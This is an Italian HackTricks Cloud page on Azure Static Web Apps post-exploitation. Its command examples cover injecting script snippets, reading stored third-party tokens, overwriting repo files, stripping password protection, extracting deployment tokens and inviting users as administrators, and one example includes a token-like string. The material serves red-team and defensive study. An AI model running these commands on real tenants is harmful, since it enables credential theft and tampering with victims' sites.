Az - Static Web Apps Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Static Web Apps
Per maggiori informazioni su questo servizio consulta:
Microsoft.Web/staticSites/snippets/write
È possibile far sì che una pagina web statica carichi codice HTML arbitrario creando uno snippet. Questo potrebbe permettere a un attacker di injectare codice JS all’interno della web app e rubare informazioni sensibili come credenziali o mnemonic keys (nelle web3 wallets).
Il seguente comando crea uno snippet che sarà sempre caricato dalla web app::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Leggere le credenziali di terze parti configurate
Come spiegato nella sezione App Service:
Eseguendo il comando seguente è possibile leggere le credenziali di terze parti configurate nell’account corrente. Nota che, per esempio, se alcune credenziali Github sono configurate su un utente diverso, non potrai accedere al token da un altro utente.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Questo comando restituisce tokens per Github, Bitbucket, Dropbox e OneDrive.
Qui trovi alcuni esempi di comandi per controllare i tokens:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Sovrascrivere file - Sovrascrivere routes, HTML, JS…
È possibile sovrascrivere un file all’interno del Github repo che contiene l’app sfruttando Azure che dispone del Github token, inviando una richiesta come la seguente che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.
Questo può essere sfruttato da attaccanti per fondamentalmente cambiare il contenuto dell’app web per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche…) o semplicemente per reindirizzare alcuni percorsi verso i loro server sovrascrivendo il file staticwebapp.config.json.
Warning
Nota che se un attaccante riesce a compromettere il Github repo in qualche modo, può anche sovrascrivere il file direttamente da Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
### Microsoft.Web/staticSites/config/write
Con questo permesso, è possibile modificare la password che protegge una static web app o persino rimuovere la protezione di tutti gli ambienti inviando una richiesta come la seguente:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Questa autorizzazione permette di ottenere il API key deployment token per la static app.
Usando az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Uso di AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Poi, per aggiornare un’app usando il token puoi eseguire il comando seguente. Nota che questo comando è stato estratto verificando come funziona la Github Action https://github.com/Azure/static-web-apps-deploy, poiché è quella che Azure imposta di default da usare. Quindi l’immagine e i parametri potrebbero cambiare in futuro.
Tip
Per deployare l’app puoi usare lo strumento
swada https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token oppure seguire i seguenti passaggi grezzi:
- Scarica il repo https://github.com/staticwebdev/react-basic (o qualsiasi altro repo che vuoi deployare) ed esegui
cd react-basic. - Modifica il codice che vuoi deployare
- Effettua il deploy eseguendo (Ricorda di cambiare il
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Anche se possiedi il token non potrai distribuire l’app se la Policy di autorizzazione del deployment è impostata su Github. Per usare il token avrai bisogno del permesso
Microsoft.Web/staticSites/writeper cambiare il metodo di deployment e utilizzare il token API.
Microsoft.Web/staticSites/write
Con questo permesso è possibile cambiare la sorgente della static web app verso un repository Github diverso, tuttavia non verrà automaticamente provisionata poiché ciò deve essere eseguito tramite un Github Action.
Tuttavia, se la Policy di autorizzazione del deployment è impostata su Github, è possibile aggiornare l’app dal nuovo repository sorgente!.
Se la Policy di autorizzazione del deployment non è impostata su Github, puoi modificarla con lo stesso permesso Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Esempio di Github Action per distribuire l’app:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Con questa autorizzazione è possibile reset the API key of the static web app potenzialmente DoSing i workflows che distribuiscono automaticamente l’app.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Questa autorizzazione consente di creare un invito per un utente per accedere a percorsi protetti all’interno di una static web app con un ruolo specifico assegnato.
Il login si trova in un percorso come /.auth/login/github per github o /.auth/login/aad per Entra ID e un utente può essere invitato con il seguente comando:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually main) to deploy a malicious version of the app in the statagging URL.
The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Nota che per impostazione predefinita le PR esterne non eseguiranno i workflow a meno che non abbiano prima fuso almeno 1 PR nel repository. Un attaccante potrebbe inviare una PR valida al repo e poi inviare una PR malevola al repo per deployare l’app malevola nell’ambiente di staging. TUTTAVIA, c’è una protezione inattesa: la Github Action predefinita per il deploy nella static web app necessita dell’accesso al secret che contiene il deployment token (come
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) anche se il deploy viene eseguito con l’IDToken. Questo significa che, poiché una PR esterna non avrà accesso a questo secret e una PR esterna non può modificare il Workflow per inserire qui un token arbitrario senza che la PR venga accettata, questo attacco in pratica non funzionerà.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

